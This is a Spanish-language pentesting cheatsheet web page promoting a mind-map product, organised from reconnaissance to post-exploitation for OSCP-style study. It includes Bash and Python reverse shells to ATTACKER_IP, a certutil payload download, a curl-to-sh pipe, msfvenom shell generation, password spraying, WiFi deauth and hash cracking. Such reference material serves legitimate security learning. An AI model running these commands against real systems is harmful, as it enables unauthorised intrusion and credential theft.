Cheatsheet de Pentesting 2026

200+ comandos esenciales de pentesting organizados por categoría. Desde reconhecimento hasta pós-exploração — todo lo que necesitas para tu próximo pentest o examen OSCP.

Última actualización:

Navegación Rápida

01 Reconhecimento 02 Aplicaciones Web 03 Serviços de Red 04 Escalada Linux 05 Escalada Windows 06 Active Directory 07 Ataques de Contraseñas 08 Post-Exploração 09 Inalámbrico 10 Cloud y Kubernetes

# Reconhecimento

La recopilación de información es la base de todo pentest. Comienza con reconhecimento pasivo y luego pasa al escaneo activo.

Nmap — Descubrimiento de Red

nmap -sC -sV -oA scan_results TARGET_IP
Scripts por defecto + detecção de versões con salida en todos los formatos
nmap -p- -T4 --min-rate=1000 TARGET_IP
Varredura completa de puertos TCP — modo rápido
nmap -sU --top-ports 200 TARGET_IP
Varredura UDP en los 200 puertos más comunes
nmap --script vuln TARGET_IP
Ejecutar todos los scripts de detección de vulnerabilidades

Enumeración de Subdominios y DNS

subfinder -d TARGET_DOMAIN -o subdomains.txt
Enumeración pasiva de subdominios
amass enum -d TARGET_DOMAIN -o amass_results.txt
Enumeración profunda de subdominios con OSINT
dig axfr @DNS_SERVER TARGET_DOMAIN
Intento de transferencia de zona DNS

Fuerza Bruta de Directorios y Archivos

feroxbuster -u https://TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js
Força bruta recursiva rápida de directorios con extensiones
gobuster dir -u https://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
Força bruta clásica de directorios con 50 hilos

# Hacking de Aplicaciones Web

Prueba las vulnerabilidades del OWASP Top 10: SQLi, XSS, SSRF, IDOR, bypass de autenticación y más.

Injeção SQL

sqlmap -u "https://TARGET/page?id=1" --dbs --batch
Detección automática de SQLi + enumeración de bases de datos
sqlmap -u "https://TARGET/page?id=1" -D dbname --tables --batch
Enumerar tablas en una banco de dados específica
sqlmap -r request.txt --level 5 --risk 3 --batch
SQLi desde petición Burp guardada con nivel máximo

XSS (Cross-Site Scripting)

dalfox url "https://TARGET/search?q=FUZZ" -b YOUR_CALLBACK
Escáner automático de XSS con callback para XSS ciego

SSRF y LFI

ffuf -u "https://TARGET/fetch?url=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/ssrf.txt -mr "root:"
Fuzzing de SSRF con coincidencia de respuesta
ffuf -u "https://TARGET/page?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt -fc 404
Fuzzing de Inclusión Local de Archivos

Esenciales de Burp Suite

curl -x http://127.0.0.1:8080 -k https://TARGET
Redirigir tráfico a través del proxy Burp

# Serviços de Red

Protocolos y serviços comunes en pentests: SMB, FTP, SSH, HTTP, SNMP.

Enumeración SMB

smbclient -L //TARGET_IP -N
Listar recursos compartidos SMB de forma anónima
enum4linux -a TARGET_IP
Enumeración completa SMB/NetBIOS
crackmapexec smb TARGET_IP -u '' -p '' --shares
Enumerar recursos con sesión nula

FTP

ftp TARGET_IP # Probar anonymous:anonymous
Conectar con acceso anónimo

SNMP

snmpwalk -v2c -c public TARGET_IP
Recorrer árbol SNMP con community string "public"

# Escalada de Privilegios Linux

Después de obtener una shell, escala a root. Revisa SUID, capabilities, cron jobs y exploits de kernel.

Scripts de Enumeración

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Ejecutar LinPEAS para enumeración automatizada de privesc

Binários SUID

find / -perm -4000 -type f 2>/dev/null
Encontrar todos los binarios SUID — cruzar con GTFOBins

Capabilities

getcap -r / 2>/dev/null
Listar archivos con capabilities de Linux

Cron Jobs

cat /etc/crontab && ls -la /etc/cron.* && crontab -l
Revisar todas las tareas cron programadas

Mala Configuración de Sudo

sudo -l
Listar comandos que el usuario actual puede ejecutar con sudo

/etc/passwd con Escritura

openssl passwd -1 -salt hacker password123
Generar hash de contraseña para inyectar en /etc/passwd si tiene permisos de escritura

# Escalada de Privilegios Windows

Escala de usuario con pocos privilegios a SYSTEM. Suplantación de tokens, abuso de serviços, rutas sin comillas.

Enumeración

winPEASany.exe quiet fast searchfast
Ejecutar WinPEAS para enumeración automatizada de privesc en Windows
whoami /priv
Revisar privilegios actuales — buscar SeImpersonate, SeBackup

Suplantación de Tokens

.\GodPotato.exe -cmd "cmd /c whoami"
Explotar SeImpersonatePrivilege (Windows Server 2019+)

Rutas de Serviço sin Comillas

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
Encontrar serviços con rutas sin comillas fuera de directorios del sistema

# Ataques de Contraseñas

Crackear hashes, força bruta en serviços y pulverización de credenciales en la red.

Cracking de Hashes

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
Crackear hashes NTLM con reglas
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Crackear hashes con John the Ripper

Fuerza Bruta Online

hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET_IP ssh -t 4
Força bruta SSH (4 hilos para evitar bloqueo)

Pulverización de Contraseñas

crackmapexec smb TARGET_IP -u users.txt -p 'Season2026!' --continue-on-success
Pulverización de senhas SMB en lista de usuários

# Post-Exploração

Después de obtener acceso: establecer persistencia, pivotar, exfiltrar datos.

Transferencia de Archivos

python3 -m http.server 8080
Servidor HTTP rápido para transferir archivos
certutil -urlcache -split -f http://ATTACKER_IP:8080/file.exe C:\Temp\file.exe
Baixar archivo en el alvo Windows

Reverse Shells

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Reverse shell en Bash
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Reverse shell en Python

Melhorer Shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
Melhorer a TTY interactivo

Pivoting

chisel server -p 8000 --reverse # En atacante chisel client ATTACKER_IP:8000 R:socks # En alvo
Configurar proxy SOCKS a través de host comprometido

# Ataques Inalámbricos

Pentesting WiFi: capturar handshakes, crackear WPA2, puntos de acceso falsos.

airmon-ng start wlan0
Activar modo monitor
airodump-ng wlan0mon
Escanear redes inalámbricas cercanas
airodump-ng -c CHANNEL --bssid BSSID -w capture wlan0mon
Capturar paquetes de la red alvo
aireplay-ng -0 5 -a BSSID wlan0mon
Ataque deauth para capturar handshake WPA
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Crackear handshake WPA2 offline

# Cloud y Kubernetes

Enumerar activos en la nube, explotar malas configuraciones en AWS, Azure, GCP y Kubernetes.

AWS

aws sts get-caller-identity
Verificar identidad AWS actual
aws s3 ls s3://BUCKET_NAME --no-sign-request
Listar contenido de bucket S3 público

Kubernetes

kubectl get pods --all-namespaces
Listar todos los pods en todos los namespaces
kubectl auth can-i --list
Verificar permisos actuales

❓ FAQ de Pentesting

Este cheatsheet cubre 200+ comandos esenciales usados en el OSCP y pentests reales: escaneo nmap, escalada de privilégios (Linux y Windows), ataques a Active Directory, hacking web y pós-exploração.

Los comandos esenciales incluyen nmap para escaneo de red, sqlmap para injeção SQL, hashcat/john para crackeo de senhas, las ferramentas impacket para Active Directory, y linpeas/winpeas para enumeración de escalada de privilégios.

Empieza con ferramentas de reconhecimento (nmap, subfinder), aprenda vulnerabilidades web (OWASP Top 10), pratique en plataformas como HackTheBox, y usa un mapa mental estructurado como Pentest Mindmap para organizar tu conocimiento en 34 categorias.

La escalada de privilégios es el proceso de obtener permisos más altos que los obtenidos inicialmente. En Linux, los vectores comunes son los binarios SUID, configuraciones sudo incorrectas, tareas cron y entradas PATH escribibles. En Windows: SeImpersonatePrivilege (Potatoes), rutas de serviço sin comillas y AlwaysInstallElevated.

Las ferramentas clave incluyen BloodHound (mapeo de rutas de ataque), impacket (GetUserSPNs, secretsdump, psexec), crackmapexec (credential spraying), evil-winrm (shells WinRM) y Rubeus (ataques Kerberos). Empieza mapeando el dominio con BloodHound para identificar la ruta más corta a Domain Admin.

La injeção SQL es una vulnerabilidad web donde una entrada controlada por el atacante se ejecuta como código SQL. Prueba manualmente con payloads como ' OR '1'='1 o usa sqlmap para detección automatizada: sqlmap -u 'http://alvo/page?id=1' --batch --dbs. Puede llevar a exfiltración de datos, bypass de autenticación o ejecución remota de código.

El OWASP Top 10 es una lista estándar de los riesgos de seguridad más críticos de las aplicaciones web. En 2021 incluye: Control de Acceso Roto, Fallos Criptográficos, Inyección (SQLi, XSS), Diseño Inseguro, Configuración de Seguridad Incorrecta, Componentes Vulnerables, Fallos de Autenticación, SSRF y más. Es la base de la metodología de pentest web.

Un reverse shell es una conexión donde la máquina alvo inicia una conexión de vuelta al listener del atacante. Inicia un listener con nc -lvnp 4444, luego activa el shell en el alvo: bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1. Genera payloads para otros lenguajes con msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.

El movimento lateral consiste en pivotar de un host comprometido a otros en la rede interna. Técnicas comunes: Pass-the-Hash con impacket-psexec, Pass-the-Ticket con TGT de Kerberos, reenvío de agente SSH y port forwarding con chisel o túneles SSH. BloodHound mapea la ruta más corta a Domain Admin.

Un escaneo de vulnerabilidades (Nessus, OpenVAS) identifica automáticamente CVE conocidas y configuraciones incorrectas sin exploração. Un test de penetración va más allá: el pentester explota activamente las vulnerabilidades, escala privilegios y demuestra impacto real de negocio. Los pentests requieren autorización escrita y un alcance definido.

📚 Recursos Relacionados

Relatório de pentest asistido por IA

Transforma tus descobertas en un informe PDF profesional. La IA rellena CVE, CVSS y severidad automáticamente.

Testar gratuitamente →

¿Quieres 12.020+ comandos en un mapa mental interactivo?

Este cheatsheet muestra una fracción de lo que ofrece Pentest Mindmap. Obtén 34 categorias, pesquisa instantânea y copia en un clic — organizado como un hermoso mapa mental interactivo.

Criar uma conta gratuito →
📎 ¿Te resulta útil esta cheatsheet?